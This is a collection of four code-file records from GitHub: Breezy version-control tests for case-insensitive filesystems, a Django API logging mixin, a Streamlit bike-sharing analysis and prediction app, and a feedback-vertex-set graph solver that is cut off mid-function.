+{"seq_id":"75101603574","text":"import os\n\nfrom ... import osutils, tests\nfrom ...osutils import canonical_relpath, pathjoin\nfrom ..features import CaseInsCasePresFilenameFeature\nfrom ..script import run_script\n\n\nclass TestCICPBase(tests.TestCaseWithTransport):\n    \"\"\"Base class for tests on a case-insensitive, case-preserving filesystem.\"\"\"\n\n    _test_needs_features = [CaseInsCasePresFilenameFeature]\n\n    def _make_mixed_case_tree(self):\n        \"\"\"Make a working tree with mixed-case filenames.\"\"\"\n        wt = self.make_branch_and_tree('.')\n        # create a file on disk with the mixed-case parent and base name\n        self.build_tree(['CamelCaseParent/', 'lowercaseparent/'])\n        self.build_tree_contents([('CamelCaseParent/CamelCase', b'camel case'),\n                                  ('lowercaseparent/lowercase', b'lower case'),\n                                  ('lowercaseparent/mixedCase', b'mixedCasecase'),\n                                  ])\n        return wt\n\n\nclass TestAdd(TestCICPBase):\n\n    def test_add_simple(self):\n        \"\"\"Test add always uses the case of the filename reported by the os.\"\"\"\n        self.make_branch_and_tree('.')\n        # create a file on disk with the mixed-case name\n        self.build_tree(['CamelCase'])\n        run_script(self, \"\"\"\n            $ brz add camelcase\n            adding CamelCase\n            \"\"\")\n\n    def test_add_subdir(self):\n        \"\"\"test_add_simple but with subdirectories tested too.\"\"\"\n        self.make_branch_and_tree('.')\n        # create a file on disk with the mixed-case parent and base name\n        self.build_tree(['CamelCaseParent/', 'CamelCaseParent/CamelCase'])\n        run_script(self, \"\"\"\n            $ brz add camelcaseparent/camelcase\n            adding CamelCaseParent\n            adding CamelCaseParent/CamelCase\n            \"\"\")\n\n    def test_add_implied(self):\n        \"\"\"Test add with no args sees the correct names.\"\"\"\n        self.make_branch_and_tree('.')\n        # create a file on disk with the mixed-case parent and base name\n        self.build_tree(['CamelCaseParent/', 'CamelCaseParent/CamelCase'])\n        run_script(self, \"\"\"\n            $ brz add\n            adding CamelCaseParent\n            adding CamelCaseParent/CamelCase\n            \"\"\")\n\n    def test_re_add(self):\n        \"\"\"Test than when a file has 'unintentionally' changed case, we can't\n        add a new entry using the new case.\n        \"\"\"\n        self.make_branch_and_tree('.')\n        # create a file on disk with the mixed-case name\n        self.build_tree(['MixedCase'])\n        run_script(self, \"\"\"\n            $ brz add MixedCase\n            adding MixedCase\n            \"\"\")\n        # 'accidently' rename the file on disk\n        osutils.rename('MixedCase', 'mixedcase')\n        run_script(self, \"\"\"\n            $ brz add mixedcase\n            \"\"\")\n\n    def test_re_add_dir(self):\n        # like re-add, but tests when the operation is on a directory.\n        \"\"\"Test than when a file has 'unintentionally' changed case, we can't\n        add a new entry using the new case.\n        \"\"\"\n        self.make_branch_and_tree('.')\n        # create a file on disk with the mixed-case name\n        self.build_tree(['MixedCaseParent/', 'MixedCaseParent/MixedCase'])\n        run_script(self, \"\"\"\n            $ brz add MixedCaseParent\n            adding MixedCaseParent\n            adding MixedCaseParent/MixedCase\n            \"\"\")\n        # 'accidently' rename the directory on disk\n        osutils.rename('MixedCaseParent', 'mixedcaseparent')\n        run_script(self, \"\"\"\n            $ brz add mixedcaseparent\n            \"\"\")\n\n    def test_add_not_found(self):\n        \"\"\"Test add when the input file doesn't exist.\"\"\"\n        wt = self.make_branch_and_tree('.')\n        # create a file on disk with the mixed-case name\n        self.build_tree(['MixedCaseParent/', 'MixedCaseParent/MixedCase'])\n        expected_fname = pathjoin(wt.basedir, \"MixedCaseParent\", \"notfound\")\n        run_script(self, f\"\"\"\n            $ brz add mixedcaseparent/notfound\n            2>brz: ERROR: No such file: {repr(expected_fname)}\n            \"\"\")\n\n\nclass TestMove(TestCICPBase):\n\n    def test_mv_newname(self):\n        self._make_mixed_case_tree()\n        run_script(self, \"\"\"\n            $ brz add -q\n            $ brz ci -qm message\n            $ brz mv camelcaseparent/camelcase camelcaseparent/NewCamelCase\n            CamelCaseParent/CamelCase => CamelCaseParent/NewCamelCase\n            \"\"\")\n\n    def test_mv_newname_after(self):\n        self._make_mixed_case_tree()\n        # In this case we can specify the incorrect case for the destination,\n        # as we use --after, so the file-system is sniffed.\n        run_script(self, \"\"\"\n            $ brz add -q\n            $ brz ci -qm message\n            $ mv CamelCaseParent/CamelCase CamelCaseParent/NewCamelCase\n            $ brz mv --after camelcaseparent/camelcase camelcaseparent/newcamelcase\n            CamelCaseParent/CamelCase => CamelCaseParent/NewCamelCase\n            \"\"\")\n\n    def test_mv_newname_exists(self):\n        # test a mv, but when the target already exists with a name that\n        # differs only by case.\n        self._make_mixed_case_tree()\n        self.run_bzr('add')\n        self.run_bzr('ci -m message')\n        run_script(self, \"\"\"\n            $ brz mv camelcaseparent/camelcase LOWERCASEPARENT/LOWERCASE\n            2>brz: ERROR: Could not move CamelCase => lowercase: \\\nlowercaseparent/lowercase is already versioned.\n            \"\"\")\n\n    def test_mv_newname_exists_after(self):\n        # test a 'mv --after', but when the target already exists with a name\n        # that differs only by case.  Note that this is somewhat unlikely\n        # but still reasonable.\n        self._make_mixed_case_tree()\n        self.run_bzr('add')\n        self.run_bzr('ci -m message')\n        # Remove the source and create a destination file on disk with a different case.\n        # brz should report that the filename is already versioned.\n        os.unlink('CamelCaseParent/CamelCase')\n        osutils.rename('lowercaseparent/lowercase',\n                       'lowercaseparent/LOWERCASE')\n        run_script(self, \"\"\"\n            $ brz mv --after camelcaseparent/camelcase LOWERCASEPARENT/LOWERCASE\n            2>brz: ERROR: Could not move CamelCase => lowercase: \\\nlowercaseparent/lowercase is already versioned.\n            \"\"\")\n\n    def test_mv_newname_root(self):\n        self._make_mixed_case_tree()\n        self.run_bzr('add')\n        self.run_bzr('ci -m message')\n        run_script(self, \"\"\"\n            $ brz mv camelcaseparent NewCamelCaseParent\n            CamelCaseParent => NewCamelCaseParent\n            \"\"\")\n\n    def test_mv_newname_root_after(self):\n        self._make_mixed_case_tree()\n        self.run_bzr('add')\n        self.run_bzr('ci -m message')\n        # In this case we can specify the incorrect case for the destination,\n        # as we use --after, so the file-system is sniffed.\n        run_script(self, \"\"\"\n            $ mv CamelCaseParent NewCamelCaseParent\n            $ brz mv --after camelcaseparent NewCamelCaseParent\n            CamelCaseParent => NewCamelCaseParent\n            \"\"\")\n\n    def test_mv_newcase(self):\n        wt = self._make_mixed_case_tree()\n        self.run_bzr('add')\n        self.run_bzr('ci -m message')\n\n        # perform a mv to the new case - we expect brz to accept the new\n        # name, as specified, and rename the file on the file-system too.\n        run_script(self, \"\"\"\n            $ brz mv camelcaseparent/camelcase camelcaseparent/camelCase\n            CamelCaseParent/CamelCase => CamelCaseParent/camelCase\n            \"\"\")\n        self.assertEqual(canonical_relpath(wt.basedir, 'camelcaseparent/camelcase'),\n                         'CamelCaseParent/camelCase')\n\n    def test_mv_newcase_after(self):\n        wt = self._make_mixed_case_tree()\n        self.run_bzr('add')\n        self.run_bzr('ci -m message')\n\n        # perform a mv to the new case - we must ensure the file-system has the\n        # new case first.\n        osutils.rename('CamelCaseParent/CamelCase',\n                       'CamelCaseParent/camelCase')\n        run_script(self, \"\"\"\n            $ brz mv --after camelcaseparent/camelcase camelcaseparent/camelCase\n            CamelCaseParent/CamelCase => CamelCaseParent/camelCase\n            \"\"\")\n        # brz should not have renamed the file to a different case\n        self.assertEqual(canonical_relpath(wt.basedir, 'camelcaseparent/camelcase'),\n                         'CamelCaseParent/camelCase')\n\n    def test_mv_multiple(self):\n        self._make_mixed_case_tree()\n        self.run_bzr('add')\n        self.run_bzr('ci -m message')\n        run_script(self, \"\"\"\n            $ brz mv LOWercaseparent/LOWercase LOWercaseparent/MIXEDCase camelcaseparent\n            lowercaseparent/lowercase => CamelCaseParent/lowercase\n            lowercaseparent/mixedCase => CamelCaseParent/mixedCase\n            \"\"\")\n\n\nclass TestMisc(TestCICPBase):\n\n    def test_status(self):\n        self._make_mixed_case_tree()\n        self.run_bzr('add')\n        run_script(self, \"\"\"\n            $ brz status camelcaseparent/camelcase LOWERCASEPARENT/LOWERCASE\n            added:\n              CamelCaseParent/\n              CamelCaseParent/CamelCase\n              lowercaseparent/\n              lowercaseparent/lowercase\n            \"\"\")\n\n    def test_ci(self):\n        self._make_mixed_case_tree()\n        self.run_bzr('add')\n\n        got = self.run_bzr('ci -m message camelcaseparent LOWERCASEPARENT')[1]\n        for expected in ['CamelCaseParent', 'lowercaseparent',\n                         'CamelCaseParent/CamelCase', 'lowercaseparent/lowercase']:\n            self.assertContainsRe(got, 'added ' + expected + '\\n')\n\n    def test_rm(self):\n        self._make_mixed_case_tree()\n        self.run_bzr('add')\n        self.run_bzr('ci -m message')\n\n        got = self.run_bzr('rm camelcaseparent LOWERCASEPARENT')[1]\n        for expected in ['lowercaseparent/lowercase', 'CamelCaseParent/CamelCase']:\n            self.assertContainsRe(got, 'deleted ' + expected + '\\n')\n\n    # The following commands need tests and/or cicp lovin':\n    # update, remove, file_id, file_path, diff, log, touching_revisions, ls,\n    # ignore, cat, revert, resolve.\n","repo_name":"breezy-team/breezy","sub_path":"breezy/tests/blackbox/test_filesystem_cicp.py","file_name":"test_filesystem_cicp.py","file_ext":"py","file_size_in_byte":10210,"program_lang":"python","lang":"en","doc_type":"code","stars":100,"dataset":"github-code","pt":"22"}
+{"seq_id":"17791585173","text":"import logging\n\nfrom ..helper.requests import resolve_logging_level\n\n\nclass APILoggingMixin(object):\n    \"\"\" Logging for inbound API calls \"\"\"\n\n    def finalize_response(self, request, response, *args, **kwargs):\n\n        extra = {\n            'response_type': 'inbound',\n            'response_code': response.status_code,\n            'response_data': response.data,\n            'http_method': request.method,\n            'url': request.path,\n            'remote_address': self._get_real_ip(request=request)\n        }\n        logger = logging.getLogger(__name__)\n        level = resolve_logging_level(response.status_code)\n        getattr(logger, level)(f'API {response.status_code} {request.path}', extra=extra)\n\n        return super(APILoggingMixin, self).finalize_response(\n            request, response, *args, **kwargs)\n\n    def _get_real_ip(self, request):\n        \"\"\" Respect reverse proxy forwarding IP address \"\"\"\n        real_ip = request.META.get('HTTP_X_REAL_IP', None) or \\\n            request.META.get('HTTP_X_FORWARDED_FOR', None)\n        if real_ip:\n            return real_ip\n        else:\n            return request.META.get('REMOTE_ADDR')\n","repo_name":"AtheonAnalytics/django-utils","sub_path":"django_utils/logger/mixins.py","file_name":"mixins.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"72202336055","text":"import streamlit as st\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nimport pickle\r\nimport pycaret \r\nfrom pycaret.regression import *\r\nimport datetime\r\n\r\n\r\n\r\ndata = pd.read_csv(\"bike-sharing_hourly.csv\")\r\n\r\ndef load_pycaret_model():\r\n    return load_model('final_model')\r\n\r\nmodel = load_pycaret_model()\r\n\r\nst.set_page_config(page_title=\"Washington D.C. Bike-Sharing Analysis\", layout=\"wide\")\r\n\r\nif 'current_page' not in st.session_state:\r\n    st.session_state['current_page'] = \"landing\"\r\n\r\nst.markdown('---')\r\nif st.button('Home', key='home'):\r\n    st.session_state['current_page'] = \"landing\"\r\nif st.button('Explore Findings', key='findings'):\r\n    st.session_state['current_page'] = \"findings\"\r\nif st.button('Learn About the Model', key='model'):\r\n    st.session_state['current_page'] = \"model\"\r\nif st.button('Get Predictions', key='predictions'):\r\n    st.session_state['current_page'] = \"predictions\"\r\nst.markdown('---')\r\n\r\n# Landing Page\r\nif st.session_state['current_page'] == \"landing\":\r\n    st.title('Washington D.C. Bike-Sharing Analysis')\r\n    st.markdown('---')\r\n    st.header('Welcome to our bike-sharing service analysis and prediction app!')\r\n\r\n    # Introduction text\r\n    st.info(\r\n        \"\"\"\r\n        As part of the consultancy team working with the administration of Washington D.C., we've built this interactive \r\n        web application to help you gain insights into the city's bike-sharing service and predict bicycle demand.\r\n        \"\"\"\r\n    )\r\n\r\n    # Buttons to navigate to other pages\r\n    if st.button('Explore Findings'):\r\n        st.session_state['current_page'] = \"findings\"\r\n\r\n    if st.button('Learn About the Model'):\r\n        st.session_state['current_page'] = \"model\"\r\n\r\n    if st.button('Get Predictions'):\r\n        st.session_state['current_page'] = \"predictions\"\r\n    \r\n\r\n# Findings Page\r\nelif st.session_state['current_page'] == \"findings\":\r\n    st.markdown('---')  \r\n    # Content for the Findings page\r\n    st.title('Key Findings')\r\n    st.header('Discover Insights from the Bike-Sharing Service Data')\r\n\r\n    # Introduction text for the Findings page\r\n    st.info(\r\n        \"\"\"\r\n        This page presents the key findings from our analysis of the bike-sharing service data in Washington D.C. \r\n        These insights can help the transportation department make informed decisions and optimize the service.\r\n        \"\"\"\r\n    )\r\n\r\n    \r\n    casual_sum = data['casual'].sum()\r\n    registered_sum = data['registered'].sum()\r\n\r\n    # Pie chart\r\n    labels = 'Casual', 'Registered'\r\n    sizes = [casual_sum, registered_sum]\r\n    colors = ['lightcoral', 'lightskyblue']\r\n    explode = (0, 0.1)  # only \"explode\" the 2nd slice (i.e., 'Registered')\r\n\r\n    fig, ax = plt.subplots(figsize=(2, 2))\r\n\r\n    # Create the pie chart\r\n    ax.pie(sizes, explode=explode, labels=labels, colors=colors,\r\n         autopct='%1.1f%%', startangle=140)\r\n    ax.axis('equal')  # Equal aspect ratio ensures that pie is drawn as a circle.\r\n    ax.set_title('Bike Rentals: Casual vs Registered OJO LA LETRA!',fontsize=12)\r\n    st.pyplot(plt)\r\n\r\n    \r\n    st.header('Title of the graph')\r\n    st.markdown('comentario de la grafica')\r\n\r\n    data['dteday'] = pd.to_datetime(data['dteday'])\r\n\r\n    # Calculate total rentals per day\r\n    total_rentals_per_day = data.groupby('dteday')['cnt'].sum()\r\n\r\n    # Calculate weekly moving average for 'casual' and 'registered'\r\n    weekly_ma_casual = data.groupby('dteday')['casual'].sum().rolling(window=30).mean()\r\n    weekly_ma_registered = data.groupby('dteday')['registered'].sum().rolling(window=30).mean()\r\n\r\n    # Plotting\r\n    plt.figure(figsize=(15, 15))\r\n\r\n    # Plot total rentals\r\n    plt.plot(total_rentals_per_day, label='Total Rentals')\r\n\r\n    # Plot weekly moving average of 'casual' and 'registered'\r\n    plt.plot(weekly_ma_casual, label='Weekly Moving Avg - Casual', linestyle='--')\r\n    plt.plot(weekly_ma_registered, label='Weekly Moving Avg - Registered', linestyle='--')\r\n\r\n    # Title and labels\r\n    plt.title('Bike Rentals Over Time with Weekly Moving Averages')\r\n    plt.xlabel('Date')\r\n    plt.ylabel('Count')\r\n    plt.legend()\r\n    st.pyplot(plt)\r\n\r\n\r\n\r\n    st.header('Title of the graph')\r\n    st.markdown('comentario de la grafica')\r\n\r\n    plt.figure(figsize=(15, 5))\r\n    sns.regplot(x=data['atemp'] * 100, y='cnt', data=data, scatter_kws={'alpha': 0.3}, line_kws={'color': 'red'})\r\n    plt.title('Scatter Plot with Regression Line of atemp vs. cnt')\r\n    plt.xlabel('Apparent Temperature (atemp) in Farenheit')\r\n    plt.ylabel('Count of Users (cnt)')\r\n    st.pyplot(plt)\r\n\r\n\r\n# Model Page\r\nelif st.session_state['current_page'] == \"model\":\r\n    st.markdown('---') \r\n    # Content for the Model page\r\n    st.title('Comprehensive Model Analysis')\r\n    st.header('Understanding the Bike Demand Prediction Model')\r\n\r\n    # Introduction text for the Model page\r\n    st.info(\r\n        \"\"\"\r\n        This page provides an explanation of the predictive model used for forecasting bicycle demand. \r\n        We'll describe the model and the reasons for selecting it to optimize provisioning and minimize costs.\r\n        \"\"\"\r\n    )\r\n\r\n    tab1, tab2, tab3, tab4, tab5, tab6 = st.tabs(['Summary Statistics', 'Data Visualization Insights', 'Outliers', 'Feature Engineering', 'Correlation Insights','Feature Importance Analysis' ])\r\n\r\n    # Summary Statistics Section\r\n    with tab1:\r\n        st.markdown(\"### Summary Statistics\")\r\n        st.write(data.describe())  # Display summary statistics\r\n        st.markdown(\"\"\"\r\n        - Balanced data distribution across years 2011 and 2012, providing a comprehensive temporal view.\r\n        - Minimal influence of holidays on bike rentals, reflecting routine usage patterns.\r\n        - Dominance of working days in the dataset, highlighting the service's role in daily commuting.\r\n        - Wide range in rental numbers, underscoring diverse user behaviors and needs.\"\"\")\r\n\r\n    with tab2:        \r\n        st.markdown(\"\"\"\r\n        ### Monthly \r\n        - Seasonal trends evident, with higher usage in warmer months, indicating weather dependency.\"\"\") \r\n        with st.expander(\"Chart\"):\r\n            st.header('Monthly Bike Rentals')\r\n\r\n\r\n            # Calculate the percentage for each component\r\n            data['dteday'] = pd.to_datetime(data['dteday'])\r\n            monthly_data = data.groupby(data['dteday'].dt.to_period(\"M\")).agg({'casual': 'sum', 'registered': 'sum'})  \r\n            \r\n            total = monthly_data['casual'] + monthly_data['registered']\r\n            percentage_casual = monthly_data['casual'] / total * 100\r\n            percentage_registered = monthly_data['registered'] / total * 100\r\n\r\n            # Create a stacked bar chart\r\n            plt.figure(figsize=(12, 5))\r\n            p1 = plt.bar(monthly_data.index.astype(str), monthly_data['casual'], label='Casual', alpha=0.7)\r\n            p2 = plt.bar(monthly_data.index.astype(str), monthly_data['registered'], bottom=monthly_data['casual'], label='Registered', alpha=0.7)\r\n\r\n            # Add percentage labels\r\n            for i, (casual, registered) in enumerate(zip(monthly_data['casual'], monthly_data['registered'])):\r\n                plt.text(i, casual / 2, f'{percentage_casual.iloc[i]:.1f}%', ha='center', va='center', color='white', fontsize=8)\r\n                plt.text(i, casual + registered / 2, f'{percentage_registered.iloc[i]:.1f}%', ha='center', va='center', color='white', fontsize=8)\r\n\r\n            plt.title('Monthly Bike Rentals (Casual vs. Registered)')\r\n            plt.ylabel('Number of Users')\r\n            plt.xlabel('Month')\r\n\r\n            # Rotate x-axis labels vertically\r\n            plt.xticks(rotation='vertical')\r\n\r\n            plt.legend()\r\n            st.pyplot(plt)    \r\n\r\n        st.markdown(\"\"\"\r\n        ### Daily \r\n        - There is a clear distinction between weekdays and weekends, indicating commuter patterns.\"\"\") \r\n        with st.expander(\"Chart\"):\r\n            st.header('Daily Bike Rentals')\r\n            data['weekday_name'] = data['dteday'].dt.day_name()\r\n\r\n            weekday_totals = data.groupby('weekday_name').agg({'casual': 'sum', 'registered': 'sum'}).reset_index()\r\n\r\n            # Sort the dataframe by the days of the week assuming the days are not in order\r\n            ordered_days = [\"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\", \"Saturday\", \"Sunday\"]\r\n            weekday_totals['weekday_name'] = pd.Categorical(weekday_totals['weekday_name'], categories=ordered_days, ordered=True)\r\n            weekday_totals.sort_values('weekday_name', inplace=True)\r\n\r\n            # Calculate the percentage for each component\r\n            total = weekday_totals['casual'] + weekday_totals['registered']\r\n            percentage_casual = weekday_totals['casual'] / total * 100\r\n            percentage_registered = weekday_totals['registered'] / total * 100\r\n\r\n            # Create the stacked bar plot\r\n            plt.figure(figsize=(10, 5))\r\n            p1 = plt.bar(weekday_totals['weekday_name'], weekday_totals['registered'], label='Registered', alpha=0.7)\r\n            p2 = plt.bar(weekday_totals['weekday_name'], weekday_totals['casual'], bottom=weekday_totals['registered'], label='Casual', alpha=0.7)\r\n\r\n            # Add percentage labels\r\n            for i, (casual, registered) in enumerate(zip(weekday_totals['casual'], weekday_totals['registered'])):\r\n                plt.text(i, casual / 2 + registered, f'{percentage_casual.iloc[i]:.1f}%', ha='center', va='center', color='white', fontsize=8)\r\n                plt.text(i, casual + registered / 2, f'{percentage_registered.iloc[i]:.1f}%', ha='center', va='center', color='white', fontsize=8)\r\n\r\n            plt.title('Bike Rentals by User Type and Day of the Week')\r\n            plt.xlabel('Day of the Week')\r\n            plt.ylabel('Total Number of Rentals')\r\n            plt.xticks(rotation=45)\r\n            plt.legend()\r\n            st.pyplot(plt)\r\n\r\n        st.markdown(\"\"\"\r\n        ### Hourly \r\n        - Commuter patterns visible, with spikes during typical rush hours, reflecting work (or school)-related usage.\"\"\") \r\n        with st.expander(\"Chart\"):\r\n            st.header('Hourly Bike Rentals')\r\n            st.markdown('comentario de la grafica')\r\n            hourly_data = data.groupby('hr').agg({'casual': 'sum', 'registered': 'sum', 'cnt': 'sum'})\r\n\r\n            # Calculate the percentage for each component\r\n            total = hourly_data['casual'] + hourly_data['registered']\r\n            percentage_casual = hourly_data['casual'] / total * 100\r\n            percentage_registered = hourly_data['registered'] / total * 100\r\n\r\n            # Create a stacked bar chart\r\n            plt.figure(figsize=(10, 5))\r\n            p1 = plt.bar(hourly_data.index, hourly_data['casual'], label='Casual', alpha=0.7)\r\n            p2 = plt.bar(hourly_data.index, hourly_data['registered'], bottom=hourly_data['casual'], label='Registered', alpha=0.7)\r\n\r\n            # Add percentage labels\r\n            for i, (casual, registered) in enumerate(zip(hourly_data['casual'], hourly_data['registered'])):\r\n                plt.text(i, casual / 2, f'{percentage_casual.iloc[i]:.1f}%', ha='center', va='center', color='white', fontsize=8)\r\n                plt.text(i, casual + registered / 2, f'{percentage_registered.iloc[i]:.1f}%', ha='center', va='center', color='white', fontsize=8)\r\n\r\n            plt.title('Hourly Distribution of Rentals (Casual vs. Registered)')\r\n            plt.ylabel('Number of Users')\r\n            plt.xlabel('Hour')\r\n            plt.xticks(hourly_data.index)\r\n            plt.legend()\r\n            st.pyplot(plt)\r\n\r\n    with tab3:\r\n        st.markdown(\"\"\"\r\n            ### Outliers\r\n        - Outliers predominantly in 2012, aligned with registered users and favorable weather conditions.\r\n        - These data points are crucial, as they represent peak demand scenarios.\"\"\")\r\n\r\n    with tab4:\r\n        st.markdown(\"\"\"\r\n            ### Feature Engineering \r\n         - Introduction of innovative features like day parts and weekend indicators to capture user patterns.\r\n         - Application of sine and cosine transformations to 'hour' variable for capturing cyclical nature.\r\n         - Treatment of 'month' as a categorical variable, recognizing the impact of seasonal changes.\"\"\")\r\n       \r\n    with tab5:\r\n        st.markdown(\"\"\"\r\n            ### Correlation Insights\r\n    - 'Holiday' and 'workingday' variables showing limited predictive power.\r\n    - Despite low correlation, 'windspeed' emerges as an influential predictor.\r\n    - Discarding 'is_weekend' due to its negligible impact on model performance.\"\"\")\r\n        with st.expander(\"Chart\"):\r\n            correlation_matrix = data.corr()\r\n            plt.figure(figsize=(14, 10))\r\n            sns.heatmap(correlation_matrix, annot=True, fmt='.2f')\r\n            plt.title('Correlation Matrix')\r\n            st.pyplot(plt)\r\n\r\n    with tab6:\r\n        st.markdown(\"\"\"\r\n            ### Feature Importance Analysis\r\n        - Significant impact of short-term trends captured by a 3-hour moving average.\r\n        - The cyclical representation of time (sine and cosine transformations of 'hour') is pivotal.\r\n        - Emphasis on real-time data for accurate forecasting, given the model's reliance on recent trends.\"\"\")\r\n\r\n\r\n\r\n\r\n\r\n    st.header('Comprehensive Model Analysis')\r\n\r\n# Introduction text for model analysis\r\n    st.markdown(\"\"\"\r\n    ### Selected Variables\r\n    The following variables were instrumental in model development:\r\n    - **Numerical Variables**: Sine and cosine of 'hour', humidity, windspeed, and 'atemp' (temperature).\r\n    - **Categorical Variables** (One-Hot Encoded): 'month', day part, weekday, and weather situation.\r\n                \r\n    ### Methodological Approach\r\n    Utilizing PyCaret, we compared various models and conducted an in-depth analysis of five contenders: \r\n    CatBoost, XGBoost, LightGBM, Extra Trees, and Random Forest.\"\"\")\r\n\r\n    st.markdown(\"\"\"\r\n    #### CatBoost Regressor:\r\n    - **Accuracy**: Exceptional, with the lowest mean RMSE of 67.9117 and an R2 score of 0.8583.\r\n    - **Strength**: Remarkable consistency across different data folds, ensuring generalization.\"\"\")\r\n\r\n    st.markdown(\"\"\"\r\n    #### XGBoost Regressor:\r\n    - **Prediction Quality**: Strong, with a mean RMSE of 69.4719 and an R2 score of 0.8517.\r\n    - **Characteristic**: Minor overfitting tendencies but retains reliable performance.\"\"\")\r\n\r\n    st.markdown(\"\"\"\r\n    #### LightGBM Regressor:\r\n    - **Performance**: Competitive, with a mean RMSE of 70.9699 and an R2 score of 0.8453.\r\n    - **Observation**: Comparable to XGBoost in terms of consistency but slightly less accurate.\"\"\")\r\n\r\n    st.markdown(\"\"\"\r\n    #### Extra Trees Regressor:\r\n    - **Stability**: Consistent, evidenced by a mean RMSE of 75.0255 and an R2 score of 0.8272.\r\n    - **Suitability**: Effective for varied datasets despite marginally higher error rates.\"\"\")\r\n\r\n    st.markdown(\"\"\"\r\n    #### Random Forest Regressor:\r\n    - **Efficiency**: Notable, with an R2 score of 0.8358 and a mean RMSE of 73.1146.\r\n    - **Tendency**: Potential overfitting indicated by perfect training scores, yet strong in validation.\"\"\")\r\n    \r\n\r\n\r\n    # Placeholder for model explanation, charts, or visuals\r\n    # st.image('path_to_model_visualization', use_container_width=True)\r\n\r\n# Predictions Page\r\nelif st.session_state['current_page'] == \"predictions\":\r\n    st.markdown('---') \r\n    # Content for the Predictions page\r\n    st.title('Bike Demand Predictions')\r\n    st.header('Get Real-Time Predictions of Bicycle Demand')\r\n\r\n    # Introduction text for the Predictions page\r\n    st.markdown(\r\n        \"\"\"\r\n        Use this page to input variables and receive real-time predictions of bicycle demand. \r\n        This predictive tool can help the transportation department optimize provisioning and control costs.\r\n        \"\"\"\r\n    )\r\n\r\n    def load_pycaret_model():\r\n        return load_model('final_model')\r\n\r\n    model = load_pycaret_model()\r\n\r\n    month_names = {\r\n    1: 'January', 2: 'February', 3: 'March', 4: 'April',\r\n    5: 'May', 6: 'June', 7: 'July', 8: 'August',\r\n    9: 'September', 10: 'October', 11: 'November', 12: 'December'}\r\n\r\n    weather_situation_names = {\r\n    1: 'Clear, Few clouds, Partly cloudy, Partly cloudy',\r\n    2: 'Mist + Cloudy, Mist + Broken clouds, Mist + Few clouds, Mist',\r\n    3: 'Light Snow, Light Rain + Thunderstorm + Scattered clouds, Light Rain + Scattered clouds',\r\n    4: 'Heavy Rain + Ice Pallets + Thunderstorm + Mist, Snow + Fog'}\r\n\r\n    mnth = st.selectbox('Month', options=list(range(1, 13)), format_func=lambda x: month_names[x])\r\n    weathersit = st.selectbox('Weather Situation', options=list(range(1, 5)), format_func=lambda x: weather_situation_names[x])\r\n    atemp = st.slider('Feeling Temperature', min_value=0.0, max_value=1.0, step=0.01, value=0.5)\r\n    hum = st.slider('Humidity', min_value=0.0, max_value=1.0, step=0.01, value=0.5)\r\n    windspeed = st.slider('Windspeed', min_value=0.0, max_value=1.0, step=0.01, value=0.5)\r\n    hr = st.slider('Hour', min_value=0, max_value=23, step=1, value=12)\r\n    weekday_name = st.selectbox('Day of the Week', ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday'])\r\n\r\n    sin_hour = np.sin(hr * (2. * np.pi / 24))\r\n    cos_hour = np.cos(hr * (2. * np.pi / 24))\r\n\r\n    if hr < 6:\r\n        day_part = 'Night'\r\n    elif hr < 12:\r\n        day_part = 'Morning'\r\n    elif hr < 18:\r\n        day_part = 'Afternoon'\r\n    else:\r\n        day_part = 'Evening'\r\n\r\n\r\n    if st.button('Predict'):\r\n    # Prepare the input data with correct column names\r\n        input_data = pd.DataFrame([[mnth, weathersit, atemp, hum, windspeed, sin_hour, cos_hour, day_part, weekday_name]],\r\n                                columns=['mnth', 'weathersit', 'atemp', 'hum', 'windspeed', 'hr_sin', 'hr_cos', 'day_part', 'weekday_name'])\r\n\r\n    # Making a prediction\r\n        prediction = model.predict(input_data)\r\n\r\n    # Display the prediction\r\n        st.write(f'Predicted number of bikes needed: {int(prediction[0])}')\r\n\r\n\r\n# Footer or additional information (common to all pages)\r\nst.markdown('---')\r\n\r\nst.markdown(\r\n    \"\"\"\r\n    * Built by [Consulting Consultants ](https://www.yourconsultancy.com)\r\n    * Contact us at contact@consultingconsultants.com\r\n    \"\"\"\r\n)\r\n","repo_name":"JonathanSchmidtR/pythontest","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":18311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"202901723","text":"class Graph:\n    def __init__(self, N, M):\n        self.graph = {u: set() for u in range(1, N + 1)}\n        self.N = N\n        self.M = M\n\n    # Adds edge u -> v\n    def add_edge(self, u, v):\n        # if u not in self.graph:\n        # \tself.graph[u] = set()\n        # if v not in self.graph:\n        # \tself.graph[v] = set()\n        self.graph[u].add(v)\n\n    # @param nodes -> set(nodes)\n    def remove_nodes(self, nodes):\n        for node in nodes:\n            self.graph.pop(node)\n\n        for node in self.graph:\n            self.graph[node].difference_update(nodes)\n\n    def copy(self):\n        G = Graph(0, self.M)\n        G.N = self.N\n        for node in self.graph:\n            G.graph[node] = set(self.graph[node])\n        return G\n\n    def is_DAG(self):\n        def dfs(node):\n            vis[node] = True\n            marked[node] = True\n            for ch in self.graph[node]:\n                if marked[ch] or (vis[ch] == False and dfs(ch)):\n                    return True\n            marked[node] = False\n            return False\n\n        vis = {node: False for node in self.graph}\n        marked = {node: False for node in self.graph}\n        for node in self.graph:\n            if vis[node] == False and dfs(node):\n                return False\n        return True\n\n    def is_FVS(self, nodes):\n        G = self.copy()\n        G.remove_nodes(nodes)\n        return G.is_DAG()\n\n\ndef read_graph():  # Main Graph (nodes := 1,2,3,....)\n    def read_data():\n        is_comment = lambda x: len(x) > 0 and x[0] == \"%\"\n        inp = \"%\"\n        while is_comment(inp):\n            inp = input()\n        return map(int, inp.split())\n\n    n, m, _ = read_data()\n    G = Graph(n, m)\n\n    for u in range(1, n + 1):\n        nei = read_data()\n        for v in nei:\n            G.add_edge(u, v)\n    return G\n\n\ndef getSetBits(mask):\n    bits = set()\n    idx = 1\n\n    while mask > 0:\n        if mask & 1:\n            bits.add(idx)\n        idx += 1\n        mask >>= 1\n    return bits\n\n\ndef find_solution(G):\n    mask, lim = 0, 1 << G.N\n    sol = set(range(1, G.N + 1))\n\n    while mask < lim:\n        FVS = getSetBits(mask)\n        if len(FVS) < len(sol) and 